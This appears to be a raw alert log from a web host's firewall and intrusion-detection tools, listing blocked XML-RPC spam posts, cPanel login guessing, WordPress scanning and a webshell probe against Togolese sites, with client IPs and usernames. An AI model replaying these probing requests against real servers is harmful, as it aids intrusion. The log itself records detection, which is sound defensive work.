IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d428f29b0b416944aa621b95a770b34733cb44c0||Title:zaeewo7vboti1xegab||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9bd7e1f7d5ca8457d076569c133658a87d8ea920||Title:7bczhytt2z40z3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fcc789edfffbbf38c0b391a8ac350cda6775de4d||Title:671xvinjaidbaha8e||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:740eea62ebc3135b0c2b3acc8707e8a8b1bbfc5c||Title:rsnderbobwxh2hkm3||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cf24d268b5c5cdbf2d232f5de87b191b88bda30a||Title:p7atdbvkgp813w||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.5.112.70
country_id: 1269750
domain: direct7.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:direct7tv.direct7.tg||ServerName:direct7.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8e3e998d9b266855022fc2365fc02fd88ae1aa9f||Title:ydk8xrsbruspxocswu||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.239.73.113
country_id: 3865483
domain: yoto2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.239.73.113||TA:104.239.73.113||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.160.106.193
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2025/12/Le-President-du-Conseil-a-pris-part-a-la-68\xe1\xb5\x89-Session-ordinaire-de-la-Conference-des-Chefs-dEtat-et-de-Gouvernement-de-la-CEDEAO-.webp 800w, http:/togodailynews.tg/wp-content/uploads/2025/12/Le-President-du-Conseil-a-pris-part-a-la-68\xe1\xb5\x89-Session-ordinaire-de-la-Conference-des-Chefs-dEtat-et-de-Gouvernement-de-la-CEDEAO--300x244.webp 300w, http:/togodailynews.tg/wp-content/uploads/2025/12/Le-President-du-Conseil-a-pris-part-a-la-68\xe1\xb5\x89-Session-ordinaire-de-la-Conference-des-Chefs-dEtat-et-de-Gouvernement-de-la-CEDEAO--768x625.webp 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.223.147
country_id: 3017382
domain: ave2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:104.253.223.147||TA:104.253.223.147||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:06:23:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9620122&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782109418 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:06:23:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449297&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782109421 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 194.180.232.162
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:194.180.232.162||TA:194.180.232.162||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.8.212.214
country_id: 1605651
description:
[2026-06-22 06:26:18 +0000] info [cpaneld] 58.8.212.214 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.215.42.213
country_id: 630336
description:
[2026-06-22 06:26:25 +0000] info [cpaneld] 37.215.42.213 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.176.44.218
country_id: 3996063
description:
[2026-06-22 06:26:47 +0000] info [cpaneld] 189.176.44.218 - togoin "GET /login/?login_only=1&user=togoin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.61.12
country_id: 99237
description:
[2026-06-22 06:26:51 +0000] info [cpaneld] 185.24.61.12 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.123.61
country_id: 3895114
description:
[2026-06-22 06:26:59 +0000] info [cpaneld] 181.43.123.61 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.88.53.21
country_id: 3017382
description:
[2026-06-22 06:27:01 +0000] info [cpaneld] 87.88.53.21 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.84.32.165
country_id: 3469034
description:
[2026-06-22 06:26:38 +0000] info [cpaneld] 187.84.32.165 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 113.23.55.33
country_id: 1562822
description:
[2026-06-22 06:26:42 +0000] info [cpaneld] 113.23.55.33 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.153
country_id: 1880251
description:
47.128.121.153 - - [22/Jun/2026:06:29:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737111&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fcamara-20-ans%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782109750 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/camara-20-ans/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.153


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:06:29:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7314071&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782109766 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.113.229.111
country_id: 1512440
description:
2026-06-22 06:29:48 H=([188.113.229.111]) [188.113.229.111]:49082 F=<waphf@white-ways.com> rejected RCPT <waphf@white-ways.com>: Sender verify failed


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 162.243.101.234
country_id: 6252001
domain: autodiscover.metaart.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.19||T:APACHE||REQUEST_URI:/autodiscover/autodiscover.xml/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.111.123.245
country_id: 1210997
description:
[2026-06-22 06:31:59 +0000] info [cpaneld] 103.111.123.245 - davetechno "GET /login/?login_only=1&user=davetechno&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechno (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.164.183.114
country_id: 1831722
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:103.164.183.114||TA:103.164.183.114||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.164.183.114
country_id: 1831722
domain: togomedia24.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.19||T:APACHE||MV:/public_html/wp-content/uploads/2017/media.php||SC:/home/ecukpqcm/public_html/public_html||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [22/Jun/2026:06:36:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13070493&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110166 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.6
country_id: 6252001
description:
205.169.39.6 - - [22/Jun/2026:06:36:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9816009&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110163 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.6


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.14.69
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-36.65.111.14.69||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 81.196.204.224
country_id: 798549
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cc0cde1a1be2a91ea5ab6df30df1accf0271ad94||Title:voywrk38donxcbop3l||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.133.139.67
country_id: 1522867
description:
2026-06-22 06:37:39 H=([2.133.139.67]) [2.133.139.67]:57271 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.120.43
country_id: 6252001
domain: ave2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:152.232.120.43||TA:152.232.120.43||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.38
country_id: 6252001
description:
205.169.39.38 - - [22/Jun/2026:06:37:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646384&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110269 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.38


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 146.103.44.154
country_id: 6252001
domain: yoto2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:146.103.44.154||TA:146.103.44.154||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 81.196.204.224
country_id: 798549
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6b5c57b3572e9eac25bd13b2669e6eb34228545b||Title:r3q5d21qpxte8l5m||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [22/Jun/2026:06:37:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711912&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110270 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 197.239.10.28
country_id: 226074
description:
[2026-06-22 06:39:05 +0000] info [cpaneld] 197.239.10.28 NEW pnls:u2tlnHjMM_5Khfjb address=197.239.10.28,app=cpaneld,creator=pnls,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 81.196.204.224
country_id: 798549
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:021bbda287515c26339d34f8d1880809bd61d2b9||Title:ersxj0q9xflcdd6osf||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 197.239.10.28
country_id: 226074
description:
[2026-06-22 06:38:59 +0000] info [cpaneld] 197.239.10.28 - pnls "GET /cpsess8236213234/frontend/jupiter/index.html?=undefined&login=1&post_login=13410124600839 HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [197.239.10.63] != Current IP Address [197.239.10.28]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 178.17.170.225
country_id: 617790
description:
178.17.170.225 - - [22/Jun/2026:06:39:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313046&pdata=https%253A%252F%252Ftdn.tg%252Fjune%252F%253Fworker%253DaWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110377 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/june/?worker=aWJyYWhpbS5raGRlaXJAaW5ub3dhdmUtbWUuY29t" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:178.17.170.225


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:06:39:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6920295&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110396 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:06:40:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211248&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110401 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 81.196.204.224
country_id: 798549
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:f68840e9c39b161c2e87a25da61a34d5d5752adb||Title:k1pldgqbz460w67yj||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 81.196.204.224
country_id: 798549
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:emilebutodra.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:57f8816b39348bb45759116e6609bf74059569d1||Title:i7shcheaajjh9g6d3||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:06:45:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6802077&pdata=https%253A%252F%252Ftogomedia24.tg%252F2024%252F04%252F19%252Fune-rencontre-dechanges-sur-la-grippe-aviaire-a-lome%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110723 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2024/04/19/une-rencontre-dechanges-sur-la-grippe-aviaire-a-lome/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [22/Jun/2026:06:46:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986917&pdata=http%253A%252F%252Ftde.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110785 HTTP/1.1" 302 0 tde.tg.154-70-82-246.cpanel.site "http://tde.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:06:46:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6460781&pdata=https%253A%252F%252Ftde.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782110790 HTTP/2.0" 302 0 tde.tg.154-70-82-246.cpanel.site "https://tde.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:06:54:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051672&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782111270 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:06:54:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843248&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782111272 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.142.89.236
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.142.89.236
country_id: 2542007
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/ecobank-senegal-finance-un-centre-dimagerie-medicale-a-colobane/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.154
country_id: 1880251
description:
47.128.121.154 - - [22/Jun/2026:07:01:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13146219&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Ffake-news%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782111702 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/fake-news/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.154


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.127.43.3
country_id: 2395170
description:
2026-06-22 07:03:19 dovecot_login authenticator failed for H=(154.127.43.3) [154.127.43.3]:32932: 535 Incorrect authentication data (set_id=test@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 192.253.209.31
country_id: 6252001
description:
2026-06-22 07:04:59 dovecot_plain authenticator failed for H=(axvi7rovpeyolr86vfc) [192.253.209.31]:38376: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 105.21.66.86
country_id: 226074
description:
[2026-06-22 07:05:02 +0000] info [cpaneld] 105.21.66.86 - pnls "GET /cpsess8236213234/3rdparty/phpMyAdmin/index.php HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [197.239.10.28] != Current IP Address [105.21.66.86]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.59.150.82
country_id: 1269750
description:
152.59.150.82 - - [22/Jun/2026:07:06:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815708&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782111987 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.59.150.82


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:07:09:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7168867&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782112150 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
